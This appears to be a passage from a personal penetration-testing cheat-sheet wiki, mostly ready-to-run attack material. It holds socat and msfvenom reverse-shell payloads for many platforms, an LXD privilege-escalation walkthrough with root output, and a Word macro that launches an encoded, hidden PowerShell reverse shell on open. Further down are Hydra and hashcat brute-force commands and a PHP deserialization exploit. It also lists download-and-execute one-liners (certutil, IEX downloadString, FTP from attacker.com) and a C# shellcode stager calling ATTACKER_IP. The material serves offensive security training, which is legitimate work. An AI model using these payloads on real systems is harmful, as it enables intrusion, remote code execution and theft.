# Linux connect back
socat TCP:: EXEC:"bash -li"
# Encrypted shell - Basic listener
https://blog.aghanim.net/?p=1043#Socat_encrypted_shells
socat OPENSSL-LISTEN:,cert=shell.pem,verify=0 –
# Connect back
socat OPENSSL::,verify=0 EXEC:/bin/bash
</syntaxhighlight>

----

== LXD - Privilege escalation ==

[https://book.hacktricks.xyz/linux-hardening/privilege-escalation/interesting-groups-linux-pe/lxd-privilege-escalation https://book.hacktricks.xyz/linux-hardening/privilege-escalation/interesting-groups-linux-pe/lxd-privilege-escalation]

Step 1

<syntaxhighlight lang="bash">
┌──(rootkali)-[/home/…/HTB/tabby/containerimages/alpine]
└─# sudo /root/go/bin/distrobuilder build-lxd alpine.yaml -o image.release=3.8
┌──(rootkali)-[/home/…/HTB/tabby/containerimages/alpine]
└─# ls
alpine.yaml lxd.tar.xz rootfs.squashfs
</syntaxhighlight>

Step 2

<syntaxhighlight lang="bash">
ash@tabby:~$ wget http://10.10.14.18:9000/lxd.tar.xz
--2022-02-10 14:04:26-- http://10.10.14.18:9000/lxd.tar.xz
Connecting to 10.10.14.18:9000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 844 [application/x-xz]
Saving to: ‘lxd.tar.xz’
lxd.tar.xz 100%[===================>] 844 --.-KB/s in 0s
2022-02-10 14:04:26 (105 MB/s) - ‘lxd.tar.xz’ saved [844/844]
ash@tabby:~$ wget http://10.10.14.18:9000/rootfs.squashfs
--2022-02-10 14:04:36-- http://10.10.14.18:9000/rootfs.squashfs
Connecting to 10.10.14.18:9000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 2052096 (2.0M) [application/octet-stream]
Saving to: ‘rootfs.squashfs’
rootfs.squashfs 100%[===================>] 1.96M 4.02MB/s in 0.5s
2022-02-10 14:04:37 (4.02 MB/s) - ‘rootfs.squashfs’ saved [2052096/2052096]
</syntaxhighlight>

Step 3

<syntaxhighlight lang="bash">
ash@tabby:~$ lxc image import lxd.tar.xz rootfs.squashfs --alias alpine
ash@tabby:~$ lxc image list
+--------+--------------+--------+----------------------------------------+--------------+-----------+--------+------------------------------+
| ALIAS | FINGERPRINT | PUBLIC | DESCRIPTION | ARCHITECTURE | TYPE | SIZE | UPLOAD DATE |
+--------+--------------+--------+----------------------------------------+--------------+-----------+--------+------------------------------+
| alpine | 9c716211a82e | no | Alpinelinux 3.8 x86_64 (20220210_1356) | x86_64 | CONTAINER | 1.96MB | Feb 10, 2022 at 2:04pm (UTC) |
+--------+--------------+--------+----------------------------------------+--------------+-----------+--------+------------------------------+
</syntaxhighlight>

Step 4

<syntaxhighlight lang="bash">
ash@tabby:~$ lxc init alpine privesc -c security.privileged=true
Creating privesc
Error: No storage pool found. Please create a new storage pool
</syntaxhighlight>

==== Fix no storage pool found with lxd init ====

<syntaxhighlight lang="bash">
ash@tabby:~$ lxc init alpine privesc -c security.privileged=true
Creating privesc
ash@tabby:~$ lxd init
Would you like to use LXD clustering? (yes/no) [default=no]: ye^H^H^H^H^C
ash@tabby:~$ lxd init
Would you like to use LXD clustering? (yes/no) [default=no]:
Do you want to configure a new storage pool? (yes/no) [default=yes]: yes
Name of the new storage pool [default=default]: h^Hhel^H^H^[^H^C
ash@tabby:~$ lxd init
Would you like to use LXD clustering? (yes/no) [default=no]:
Do you want to configure a new storage pool? (yes/no) [default=yes]: yes
Name of the new storage pool [default=default]: hello
Name of the storage backend to use (dir, lvm, zfs, ceph, btrfs) [default=zfs]: z^H
Invalid input, try again.
Name of the storage backend to use (dir, lvm, zfs, ceph, btrfs) [default=zfs]:
Create a new ZFS pool? (yes/no) [default=yes]: yes^H^H
Invalid input, try again.
Create a new ZFS pool? (yes/no) [default=yes]:
Would you like to use an existing empty block device (e.g. a disk or partition)? (yes/no) [default=no]:
Size in GB of the new loop device (1GB minimum) [default=5GB]:
Would you like to connect to a MAAS server? (yes/no) [default=no]:
Would you like to create a new local network bridge? (yes/no) [default=yes]:
What should the new bridge be called? [default=lxdbr0]:
What IPv4 address should be used? (CIDR subnet notation, “auto” or “none”) [default=auto]:
What IPv6 address should be used? (CIDR subnet notation, “auto” or “none”) [default=auto]:
Would you like the LXD server to be available over the network? (yes/no) [default=no]:
Would you like stale cached images to be updated automatically? (yes/no) [default=yes]
Would you like a YAML "lxd init" preseed to be printed? (yes/no) [default=no]:
</syntaxhighlight>

Step 5

<syntaxhighlight lang="bash">
ash@tabby:~$ lxc init alpine privesc -c security.privileged=true
Creating privesc
ash@tabby:~$ lxc list
+---------+---------+------+------+-----------+-----------+
| NAME | STATE | IPV4 | IPV6 | TYPE | SNAPSHOTS |
+---------+---------+------+------+-----------+-----------+
| privesc | STOPPED | | | CONTAINER | 0 |
+---------+---------+------+------+-----------+-----------+
</syntaxhighlight>

Step 6

<syntaxhighlight lang="bash">
ash@tabby:~$ lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true
Device host-root added to privesc
ash@tabby:~$ lxc start privesc
ash@tabby:~$ lxc exec privesc /bin/sh
~ # id
uid=0(root) gid=0(root)
</syntaxhighlight>

----

== Macro ==

=== Microsoft Word ===

Word file must be saved as .doc or .docm since they support embedded macro. .docx wont work.

When transferring the .doc or .docm remember to either ZIP the dociment or use tftp, otherwise the macro might be lost.

Remember to set Macro in the document, otherwise it will only work locally.

[[File:2022-09-image.png|thumb]]

<syntaxhighlight lang="bash">
# Open Word --> View --> Macro --> Show Macro --> Create
# The below script will send a reverse shell powershell command
Sub AutoOpen()
MyMacro
End Sub
Sub Document_Open()
MyMacro
End Sub
Sub MyMacro()
Dim Str As String
Str = "powershell.exe -nop -w hidden -e JABzACAAPQAgAE4AZ"
Str = Str + "QB3AC0ATwBiAGoAZQBjAHQAIABJAE8ALgBNAGUAbQBvAHIAeQB"
Str = Str + "TAHQAcgBlAGEAbQAoACwAWwBDAG8AbgB2AGUAcgB0AF0AOgA6A"
Str = Str + "EYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAnAEg"
Str = Str + "ANABzAEkAQQBBAEEAQQBBAEEAQQBFAEEATAAxAFgANgAyACsAY"
Str = Str + "gBTAEIARAAvAG4ARQBqADUASAAvAGgAZwBDAFoAQwBJAFoAUgB"
...
Str = Str + "AZQBzAHMAaQBvAG4ATQBvAGQAZQBdADoAOgBEAGUAYwBvAG0Ac"
Str = Str + "AByAGUAcwBzACkADQAKACQAcwB0AHIAZQBhAG0AIAA9ACAATgB"
Str = Str + "lAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAFMAdAByAGUAYQBtA"
Str = Str + "FIAZQBhAGQAZQByACgAJABnAHoAaQBwACkADQAKAGkAZQB4ACA"
Str = Str + "AJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAVABvAEUAbgBkACgAK"
Str = Str + "QA="
CreateObject("Wscript.Shell").Run Str
End Sub
------------------------
# Script to generate Str = Str + payloads. Generate a payload with revshells.com and 'Powershell#3 Base64'
┌──(root💀kali)-[/home/…/Desktop/Reverse-Shell-From-Word-Document]
└─# cat payload.py
str="powershell -e JABjAGwAaQBlAG4AdAAgAD..."
n=50
for i in range(0,len(str),n):
print("Str = str+" + '"' + str[i:i+n] +'"')

...................................
# The below script will ping target.
Sub AutoOpen()
MyMacro
End Sub
Sub Document_Open()
MyMacro
End Sub
Sub MyMacro()
CreateObject("Wscript.Shell").Run "Ping.exe -t 192.168.119.182"
End Sub
</syntaxhighlight>

[[File:2022-08-image-4.png|thumb]]

=== LibreOffice Basic ===

=== ===

[[File:2022-08-Pasted-image-20220704111937.png|thumb]]

[[File:2022-08-Pasted-image-20220704111909.png|thumb]]

Make sure this macro is run when the document is opened. Close the macro editors, and back in the document, go to Tools –> Customize and select Open Document.

[[File:2022-08-image-3.png|thumb]]

----

== Mitre Framework ==

{| class="wikitable"
|-
! Title
! URL
! Short Description
|-
| MITRE Engage
| [https://engage.mitre.org/ https://engage.mitre.org/]
| MITRE Engage is a platform for collaboration and engagement in the cybersecurity community.
|-
| MITRE ATT&CK
| [https://attack.mitre.org/ https://attack.mitre.org/]
| MITRE ATT&CK is a knowledge base for adversary tactics and techniques used in cyberattacks.
|-
| MITRE Cyber Analytics Repository (CAR)
| [https://car.mitre.org/ https://car.mitre.org/]
| CAR is a repository of analytics for cybersecurity, providing detection and analytics capabilities.
|-
| MITRE D3FEND
| [https://d3fend.mitre.org/ https://d3fend.mitre.org/]
| D3FEND focuses on defensive techniques to protect against adversary tactics described in ATT&CK.
|-
| Common Vulnerabilities and Exposures (CVE)
| [https://cve.mitre.org/ https://cve.mitre.org/]
| CVE is a dictionary of common identifiers for publicly known cybersecurity vulnerabilities.
|-
| Common Attack Pattern Enumeration and Classification (CAPEC)
| [https://capec.mitre.org/ https://capec.mitre.org/]
| CAPEC is a catalog of common attack patterns used by adversaries in cybersecurity.
|-
| Common Weakness Enumeration (CWE)
| [https://cwe.mitre.org/ https://cwe.mitre.org/]
| CWE is a community-developed list of common software and hardware weaknesses.
|-
| Malware Attribute Enumeration and Characterization (MAEC)
| [https://maecproject.github.io/ https://maecproject.github.io/]
| MAEC is a project for standardizing the encoding and communication of malware characteristics.
|}

----

== Monitor Processes ==

=== Process Explorer ===

[https://learn.microsoft.com/en-us/sysinternals/downloads/process-explorer Process Explorer - Sysinternals | Microsoft Learn]

* '''Purpose:''' Process Explorer is a task manager and system monitoring utility. It provides detailed information about running processes, their resource usage, and the relationship between processes.

* '''Features:'''
Real-time monitoring of active processes, threads, and modules.

* Hierarchical view of processes, showing parent-child relationships.

* Detailed information about process properties, memory usage, and CPU utilization.

* Identification of the processes responsible for specific open handles or DLLs.

* Capabilities to suspend, terminate, or explore processes.

* Integration with VirusTotal to scan processes for malware.

* '''Use Case:''' Process Explorer is commonly used for diagnosing system performance issues, troubleshooting process-related problems, and gaining insight into the overall system activity.

=== Process Monitor ===

[https://learn.microsoft.com/en-us/sysinternals/downloads/procmon Process Monitor - Sysinternals | Microsoft Learn]

* '''Purpose:''' Process Monitor is a real-time system monitoring tool that captures and displays in-depth information about file system, registry, and process/thread activity on a Windows system.

* '''Features:'''
Detailed tracking of file system and registry operations, including reads, writes, and modifications.

* Capturing of process and thread activity, including creation, termination, and interactions.

* Filtering and searching capabilities to narrow down the captured data.

* Advanced filtering to include/exclude specific processes, operations, or paths.

* Ability to generate logs for analysis and troubleshooting.

* Integration with other Sysinternals tools like Autoruns and TCPView.

* '''Use Case:''' Process Monitor is often used to troubleshoot issues related to file system or registry access, such as debugging application failures, identifying permission problems, or tracking down malware activities.

=== Process Hacker ===

[https://processhacker.sourceforge.io/ https://processhacker.sourceforge.io/]

* '''Focus:''' Process Hacker aims to provide an advanced task manager with detailed process information and control options.

* '''Features:'''
Comprehensive process details, memory usage, and performance metrics.

* Real-time graphs for system resource monitoring.

* Advanced process management, including termination, suspension, and prioritization.

* Tools for viewing and manipulating network connections and memory content.

* Support for plugins to extend functionality.

* '''Common Uses:''' In-depth process analysis, identifying resource bottlenecks, managing and troubleshooting running processes.

----

== Msfvenom commands ==

=== What is exitfunc= in msfvenom ===

Exitfunc tells the payload what to do when it is done with its attack. It can be one of these four options:

* none: do nothing and keep running

* seh: use a special technique to exit without crashing

* thread: stop the part of the program that runs the payload and leave the rest alone

* process: kill the whole program that runs the payload

The best option depends on the situation and the goal of the attack. For example, if you want to be stealthy and avoid detection, you might choose thread or seh. If you want to cause damage and disruption, you might choose process or none. You can learn more about exitfunc and its options from this article.

=== ASP ===

<syntaxhighlight lang="bash">
ASP or ASPX
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.X.X LPORT=XXXX -f asp or aspx > rev_shell.asp or aspx
</syntaxhighlight>

=== Bash ===

=== hta ===

<syntaxhighlight lang="bash">
# Use msfvenom to turn basic HTML Application into an attack, relying on the hta-psh output format to create an HTA payload based on PowerShell.
sudo msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.4 LPORT=4444 -f hta-psh -o /var/www/html/evil.hta
</syntaxhighlight>

=== JSP ===

<syntaxhighlight lang="bash">
$ msfvenom -p java/jsp_shell_reverse_tcp LHOST="10.0.0.1" LPORT=4242 -f raw > shell.jsp
</syntaxhighlight>

=== WAR ===

<syntaxhighlight lang="bash">
$ msfvenom -p java/jsp_shell_reverse_tcp LHOST="10.0.0.1" LPORT=4242 -f war > shell.war
</syntaxhighlight>

=== PHP ===

<syntaxhighlight lang="bash">
msfvenom -p php/meterpreter_reverse_tcp LHOST=10.10.X.X LPORT=XXXX -f raw > rev_shell.php
msfvenom -p php/reverse_php LHOST= LPORT= -f raw > shell.php
</syntaxhighlight>

=== Python ===

<syntaxhighlight lang="bash">
Python
msfvenom -p cmd/unix/reverse_python LHOST=10.10.X.X LPORT=XXXX -f raw > rev_shell.py
</syntaxhighlight>

=== Perl ===

<syntaxhighlight lang="bash">
$ msfvenom -p cmd/unix/reverse_perl LHOST="10.0.0.1" LPORT=4242 -f raw > shell.pl
</syntaxhighlight>

=== Powershell ===

<syntaxhighlight lang="bash">
# Very important! Remember to choose correct CPU architecture before generating payload. If using for macro, Word will usually open PowerShell in 32-bit since it opens PowerShell from SysWOW64. Otherwise, use 64-bit. Always check target CPU arch before generating.
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.123 LPORT=443 -f ps1
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.123 LPORT=443 -f psh -o shell.ps1
</syntaxhighlight>

=== Linux ===

<syntaxhighlight lang="bash">
# Linux x64
msfvenom -p linux/x64/shell/reverse_tcp LHOST= LPORT= -f elf > shell-x64.elf
# Linux x86
msfvenom -p linux/x86/shell/reverse_tcp LHOST= LPORT= -f elf > shell-x86.elf
# UNIX CMD
$ msfvenom -p cmd/unix/reverse_bash LHOST="10.0.0.1" LPORT=4242 -f raw > shell.sh
# Fork a new process, xor encrypted
sudo msfvenom -p linux/x64/shell_reverse_tcp LHOST=tun1 LPORT=443 prependfork=true -f elf -t 300 -e x64/xor_dynamic -o test.elf
</syntaxhighlight>

=== OSX ===

<syntaxhighlight lang="bash">
$ msfvenom -p osx/x86/shell_reverse_tcp LHOST="10.0.0.1" LPORT=4242 -f macho > shell.macho
</syntaxhighlight>

=== Windows ===

<syntaxhighlight lang="bash">
Windows
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.X.X LPORT=XXXX -f exe > rev_shell.exe
MSI
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.X.X LPORT=XXXX -f msi > rev_shell.msi
Windows x64
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=IP LPORT=PORT -f exe > rev_x64_shell.exe
Windows
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.119.185 LPORT=443 -f psh-cmd
Windows encoded payload
msfvenom -a x86 --platform Windows -p windows/shell/bind_tcp -e x86/shikata_ga_nai -b '\x00' -i 3 -f python
-e = encoding
-i = iteration (how many times to encode the payload)
-b = bad character
Stageless
msfvenom -p windows/shell_reverse_tcp LHOST=IP LPORT=PORT -f exe > rev_shell.exe
Staged
msfvenom -p windows/shell/reverse_tcp LHOST=IP LPORT=PORT -f exe > rev_shell.exe
Generating shellcode
msfvenom -a x86 --platform windows -p windows/exec cmd=calc.exe -f c
</syntaxhighlight>

----

== Fuzzers ==

=== ffuf ===

[https://www.tsustyle.com/cheatsheets/ffuf-cheatsheet/ Source]

<syntaxhighlight lang="bash">
# Generic
ffuf -w wordlist.txt -u http://site.com/FUZZ
# File discovery using extensions
ffuf -w wordlist.txt -u http://site.com/FUZZ -e .php,.html
# Vhost
ffuf -w subdomains.txt -u http://site.com/ -H "Host: FUZZ.site.com"
# Login forms generic
ffuf -w /wordlist -d "username=admin&password=FUZZ" -H "Content-Type: application/x-www-form-urlencoded" -u http://site.com/login
# POST bruteforce. -fs means filter out size 17.
ffuf -X POST -H 'Content-Type: application/json' -d '{"user":"FUZZ", "url":"192.168.49.153/shell.elf"}' -u http://192.168.153.134:13337/update -w /usr/share/seclists/Usernames/xato-net-10-million-usernames-dup.txt -fs 17

</syntaxhighlight>

=== wfuzz ===

----

== Password Cracking ==

=== Hashcat ===

Example commands

{| class="wikitable"
|-
! Attack-mode
! Hash-type
! Example command
|-
| Wordlist
| $P$
| hashcat -a 0 -m 400 example400.hash example.dict
|-
| Wordlist + Rules
| MD5
| hashcat -a 0 -m 0 example0.hash example.dict -r rules/best64.rule
|-
| Brute-Force
| MD5
| hashcat -a 3 -m 0 example0.hash ?a?a?a?a?a?a
|-
| Combinator
| MD5
| hashcat -a 1 -m 0 example0.hash example.dict example.dict
|-
| Association
| $1$
| hashcat -a 9 -m 500 example500.hash 1word.dict -r rules/best64.rule
|}
https://hashcat.net/wiki/doku.php?id=hashcat

==== Mask attack ====

{| class="wikitable"
|-
| ?l =
| abcdefghijklmnopqrstuvwxyz
|-
| ?u
| ABCDEFGHIJKLMNOPQRSTUVWXYZ
|-
| ?d
| 0123456789
|-
| ?h
| 0123456789abcdef
|-
| ?H
| 0123456789ABCDEF
|-
| ?s
| «space»!"#$%&'()*+,-./:;<=>?@[\]^_`{|}~
|-
| ?a
| ?l?u?d?s
|-
| ?b
| 0x00 - 0xff
|}
https://hashcat.net/wiki/doku.php?id=mask_attack

<syntaxhighlight lang="bash">
# Example command
hashcat.exe --session session1 -m 22000 --force -a 0 -w 3 hash2.hc22000 "C:\Users\user\Skrivebord\hashcat-6.2.4\SecLists-master\Passwords\WiFi-WPA\*" -r "rules\best64.rule"
# Restore session
hashcat.exe --session session1 --restore
# Show cracked hashes
hashcat.exe hash2.hc22000 -m 22000 --show
</syntaxhighlight>

=== Hydra ===

{| class="wikitable"
|-
| Command
| Description
|-
| hydra -P <wordlist> -v <ip> <protocol>
| Brute force against a protocol of your choice
|-
| hydra -v -V -u -L <username list> -P <password list> -t 1 -u <ip> <protocol>
| You can use Hydra to bruteforce usernames as well as passwords. It will loop through every combination in your lists. (-vV = verbose mode, showing login attempts)
|-
| hydra -t 1 -V -f -l <username> -P <wordlist> rdp://<ip>
| Attack a Windows Remote Desktop with a password list.
|-
| hydra -l <username> -P .<password list> $ip -V http-form-post '/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log In&testcookie=1:S=Location'
| Craft a more specific request for Hydra to brute force.
|}
https://www.tryhackme.com/room/hackpark

=== John The Ripper ===

https://blog.aghanim.net/?p=1022

----

== PHP ==

=== shell_exec ===

<syntaxhighlight lang="php">
# If RFI dosent execute script, try this
# Create exploit.php
# cat exploit.php

# Execute
http://10.11.1.35/section.php?page=http://192.168.119.182:8888/exploit3.php
</syntaxhighlight>

=== Deserialization attack ===

See notes for Deployer

<syntaxhighlight lang="bash">
# In the index file below there is a PHP objection injection. The vulnerability occurs when user-supplied input is not properly sanitized before being passed to the unserialize() PHP function.
┌──(root💀kali)-[~aghanim/Desktop/PG/deployer]
└─# cat 192.168.153.158/web/dev/index.php
file);
}
}
if (!isset($_POST['page'])){
if (strpos(urldecode($_GET['page']),'..')!==false){
include('/var/www/dev/lfi-prev.html');
}
else{
include('/var/www/dev/'.$_GET['page']);
}
}
else{
$f=$_POST['page'];
unserialize($f);
}
?>

# Create a PHP script that will create a serialized script. Notice the class is the same as the index.php. We then take the variable $f. '->' is used in object scope to access methods and properties of an object.
┌──(root💀kali)-[~aghanim/Desktop/PG/deployer]
└─# cat real_exploit.php
file);
}
}
$f = new Page;
$f->file='/etc/passwd';
echo urlencode(serialize($f));
?>

# Then we send the output string, which is urlencoded, to the vulnerable parameter and we will have LFI.
┌──(root💀kali)-[/home/aghanim/Desktop/PG/deployer]
└─# curl -XPOST -d 'page=O%3A4%3A%22Page%22%3A1%3A%7Bs%3A4%3A%22file%22%3Bs%3A11%3A%22%2Fetc%2Fpasswd%22%3B%7D ' http://und3r_dev.deployer.off/index.php

</syntaxhighlight>

----

== Transfering files ==

=== A list of all commands ===

<syntaxhighlight lang="bash">
# CMD
# Bitsadmin.exe
bitsadmin /create 1 bitsadmin /addfile 1 https://live.sysinternals.com/autoruns.exe c:\data\playfolder\autoruns.exe bitsadmin /RESUME 1 bitsadmin /complete 1
# CertReq.exe
CertReq -Post -config https://example.org/ c:\windows\win.ini output.txt
# Certutil.exe
certutil.exe -urlcache -split -f "http://10.10.14.13:8000/shell.exe" s.exe
# CrackMapExec
crackmapexec smb 172.16.251.152 -u user -p pass --put-file /tmp/whoami.txt \\Windows\\Temp\\whoami.txt
# Desktopimgdownldr.exe
set "SYSTEMROOT=C:\Windows\Temp" && cmd /c desktopimgdownldr.exe /lockscreenurl:https://domain.com:8080/file.ext /eventName:desktopimgdownldr
# Diantz.exe
diantz.exe \\remotemachine\pathToFile\file.exe c:\destinationFolder\file.cab
# Esentutl.exe
esentutl.exe /y \\live.sysinternals.com\tools\adrestore.exe /d \\otherwebdavserver\webdav\adrestore.exe /o
# Expand.exe
expand \\webdav\folder\file.bat c:\ADS\file.bat
# Extrac32.exe
extrac32 /Y /C \\webdavserver\share\test.txt C:\folder\test.txt
# Findstr.exe
findstr /V /L W3AllLov3DonaldTrump \\webdavserver\folder\file.exe > c:\ADS\file.exe
# Ftp.exe
cmd.exe /c "@echo open attacker.com 21>ftp.txt&@echo USER attacker>>ftp.txt&@echo PASS PaSsWoRd>>ftp.txt&@echo binary>>ftp.txt&@echo GET /payload.exe>>ftp.txt&@echo quit>>ftp.txt&@ftp -s:ftp.txt -v"
# GfxDownloadWrapper.exe
C:\Windows\System32\DriverStore\FileRepository\igdlh64.inf_amd64_[0-9]+\GfxDownloadWrapper.exe "URL" "DESTINATION FILE"
# Hh.exe
HH.exe http://some.url/script.ps1
# Ieexec.exe
ieexec.exe http://x.x.x.x:8080/bypass.exe
# Makecab.exe
makecab \\webdavserver\webdav\file.exe C:\Folder\file.cab
# MpCmdRun.exe
MpCmdRun.exe -DownloadFile -url -path //Windows Defender executable
# Replace.exe
replace.exe \\webdav.host.com\foo\bar.exe c:\outdir /A
# Excel.exe
Excel.exe http://192.168.1.10/TeamsAddinLoader.dll
# Powerpnt.exe
Powerpnt.exe "http://192.168.1.10/TeamsAddinLoader.dll"
# Squirrel.exe
squirrel.exe --download [url to package]
# Update.exe
Update.exe --download [url to package]
# Winword.exe
winword.exe "http://192.168.1.10/TeamsAddinLoader.dll"
# Wsl.exe
wsl.exe --exec bash -c 'cat binary'
</syntaxhighlight>

<syntaxhighlight lang="bash">
# POWERSHELL
# System.Net.WebClient
(New-Object Net.WebClient).DownloadFile("http://10.10.14.2:80/taskkill.exe","C:\Windows\Temp\taskkill.exe")
# Invoke-WebRequest
Invoke-WebRequest "http://10.10.14.2:80/taskkill.exe" -OutFile "taskkill.exe"
# Wget
wget "http://10.10.14.2/nc.bat.exe" -OutFile "C:\ProgramData\unifivideo\taskkill.exe"
# BitsTransfer
Import-Module BitsTransfer
Start-BitsTransfer -Source $url -Destination $output
# OR
Start-BitsTransfer -Source $url -Destination $output -Asynchronous
# Base64 Kali & EncodedCommand
kali> echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000/9002.ps1')" | iconv --to-code UTF-16LE | base64 -w0
PS> powershell -EncodedCommand
</syntaxhighlight>

=== CrackMapExec ===

<syntaxhighlight lang="bash">
# Send a local file to the remote target
crackmapexec smb 172.16.251.152 -u user -p pass --put-file /tmp/whoami.txt \\Windows\\Temp\\whoami.txt
# Get a remote file on the remote target
crackmapexec smb 172.16.251.152 -u user -p pass --get-file \\Windows\\Temp\\whoami.txt /tmp/whoami.txt
</syntaxhighlight>

=== Certutil ===

Easiest way to transfer to Windows

<syntaxhighlight lang="bash">
certutil -urlcache -split -f "http://ip-addr:port/file" [output-file]
# Example - This will upload a shell to temp, and run execute it using cmd.exe
certutil -urlcache -split -f "http://192.168.49.233/shell.exe" C:\windows\temp\shell.exe && cmd.exe /c C:\windows\temp\shell.exe
</syntaxhighlight>

=== CMD ===

<syntaxhighlight lang="bash">
bitsadmin /transfer job /download /priority high http://192.168.49.75/nc.exe c:\\windows\\temp\\nc.exe
</syntaxhighlight>

=== tfpt ===

<syntaxhighlight lang="bash">
# Install tftp and configure a TFTP server on the attacker and create a directory to store and serve files. Update ownership in order to send files. Run it as a daemon on port 69
kali@kali:~$ sudo apt update && sudo apt install atftp
kali@kali:~$ sudo mkdir /tftp
kali@kali:~$ sudo chown nobody: /tftp
kali@kali:~$ sudo atftpd --daemon --port 69 /tftp
# On target
tftp -i 10.11.0.4 put important.docx
</syntaxhighlight>

=== Encrypted python3 http.server ===

<syntaxhighlight lang="bash">
# Create self signed cert
openssl req -new -x509 -keyout localhost.pem -out localhost.pem -days 365 -nodes
</syntaxhighlight>

<syntaxhighlight lang="bash">
python3 -c "import http.server, ssl;server_address=('0.0.0.0',443);httpd=http.server.HTTPServer(server_address,http.server.SimpleHTTPRequestHandler);httpd.socket=ssl.wrap_socket(httpd.socket,server_side=True,certfile='localhost.pem',ssl_version=ssl.PROTOCOL_TLSv1_2);httpd.serve_forever()"
</syntaxhighlight>

=== Evil-winrm ===

<syntaxhighlight lang="bash">
# Upload file
upload shell.exe
# Download file
Download target.file
</syntaxhighlight>

=== Netcat ===

Must have nc.exe binary on the target machine.

<syntaxhighlight lang="bash">
# Attacking machine command
nc -lvnp 4444 > FiletoDownload
## Victim machine command
nc.exe 10.10.10.100 4444 -w 3 < Filetodownload
</syntaxhighlight>

=== Rejetto HFS - HTTP File Server (GUI based) ===

Rejetto is very light weight and works on linux (wine) and Windows to transfer files to a target over http using GUI.

If you have RDP this tool works great.

[https://www.rejetto.com/hfs/ https://www.rejetto.com/hfs/]

[https://blog.aghanim.net/wp-content/uploads/2023/01/hfs2.3m.zip hfs2.3m][https://blog.aghanim.net/wp-content/uploads/2023/01/hfs2.3m.zip Rejtto HFS zip file]

=== Tiny Http Server - Rebex ===
Simple, minimalist web server for testing and debugging purposes. Runs as a Windows application only.

https://www.rebex.net/tiny-web-server/

==== Transfer from attacker to target ====

[[File:2023-01-image-2.png|thumb]]

Drag and drop files you want to transfer. Change port by clicking on 'Port:' or change IP by going to Menu and 'IP Adress'.

On target either open browser or wget, curl, etc

<syntaxhighlight lang="bash">
wget http://192.168.1.98:443/nmap.txt
</syntaxhighlight>

==== Transfer from target to attacker ====

[https://www.rejetto.com/wiki/index.php/HFS:_Working_with_uploads https://www.rejetto.com/wiki/index.php/HFS:_Working_with_uploads]

<syntaxhighlight lang="bash">
# Step-by-step
## First, define a real folder. To do this:
# Add a folder.
## Choose real folder.
## You should now see a RED folder in your virtual file system, inside HFS.
## Right click on this folder.
## Set Upload → upload for accounts → anyone
## Now anyone who has access to your HFS server can upload files to you.
</syntaxhighlight>

[[File:2023-01-image-3.png|thumb]]

Anyone can upload

[[File:2023-01-image-4.png|thumb]]

[[File:2023-01-image-5.png|thumb]]

Click on on the folder 'Upload HFS'

[[File:2023-01-image-6.png|thumb]]

Now anyone can upload files

=== SCP ===

<syntaxhighlight lang="bash">
# From target to attacher
scp aghanim@192.168.1.242:C:/Users/testuser/Desktop/file .
# From attacker to target
scp file.txt aghanim@192.168.1.242:C:/Users/testuser/Desktop/
</syntaxhighlight>

=== SMBServer ===

Create a smbserver with share name "share", and location of folder to share

<syntaxhighlight lang="bash">
smbserver.py share /home/aghanim/Desktop/
## If target only supports smbserver2
smbserver.py share . -smb2support
## On target CMD
\\smbserver-ip\share\$FILE_NAME
## Copy file to target
copy \\smbserver-ip\share\$FILE_NAME .
## Copy file from target to attacker
copy FileToDownload \\smbserver-ip\share\FileToDownload
## SMBserver with username and password
/usr/bin/impacket-smbserver share . -smb2support -username test -password 123
</syntaxhighlight>

=== Powershell ===

Must use single quote for URL. Worsk for Windows 7 & 2008 and above.

<syntaxhighlight lang="powershell">
powershell -c (New-Object Net.WebClient).DownloadFile('http://ip-addr:port/file', 'output-file')
</syntaxhighlight>

=== Powercat ===

<syntaxhighlight lang="bash">
# Attacker
sudo nc -lnvp 443 > receiving_powercat.ps1
# Target
powercat -c 10.11.0.4 -p 443 -i C:\Users\aghanim\powercat.ps1
</syntaxhighlight>

==== Python ====

<syntaxhighlight lang="bash">
# Attacker
python3 -m http.server 8080
python2 -m SimpleHTTPServer 8080
# Target
wget http://ip:port/file
curl http://ip:port/file
</syntaxhighlight>

=== Windows upload using php and powershell ===

<syntaxhighlight lang="bash">
# On attacker, create a php upload script and host it on apache2 server

# On target, upload files using this command.
powershell (New-Object System.Net.WebClient).UploadFile('http://10.11.0.4/upload.php', 'important.docx')
</syntaxhighlight>

----

== Shellcode and Staged payloads ==

=== csharp stager ===

<syntaxhighlight lang="csharp">
https://github.com/mvelazc0/defcon27_csharp_workshop/blob/master/Labs/lab2/2.cs
using System;
using System.Net;
using System.Text;
using System.Configuration.Install;
using System.Runtime.InteropServices;
using System.Security.Cryptography.X509Certificates;
public class Program {
//https://docs.microsoft.com/en-us/windows/desktop/api/memoryapi/nf-memoryapi-virtualalloc
[DllImport("kernel32")]
private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr, UInt32 size, UInt32 flAllocationType, UInt32 flProtect);
//https://docs.microsoft.com/en-us/windows/desktop/api/processthreadsapi/nf-processthreadsapi-createthread
[DllImport("kernel32")]
private static extern IntPtr CreateThread(UInt32 lpThreadAttributes, UInt32 dwStackSize, UInt32 lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref UInt32 lpThreadId);
//https://docs.microsoft.com/en-us/windows/desktop/api/synchapi/nf-synchapi-waitforsingleobject
[DllImport("kernel32")]
private static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);
private static UInt32 MEM_COMMIT = 0x1000;
private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;
public static void Main()
{
string url = "https://ATTACKER_IP/shellcode.bin";
Stager(url);
}
public static void Stager(string url)
{
WebClient wc = new WebClient();
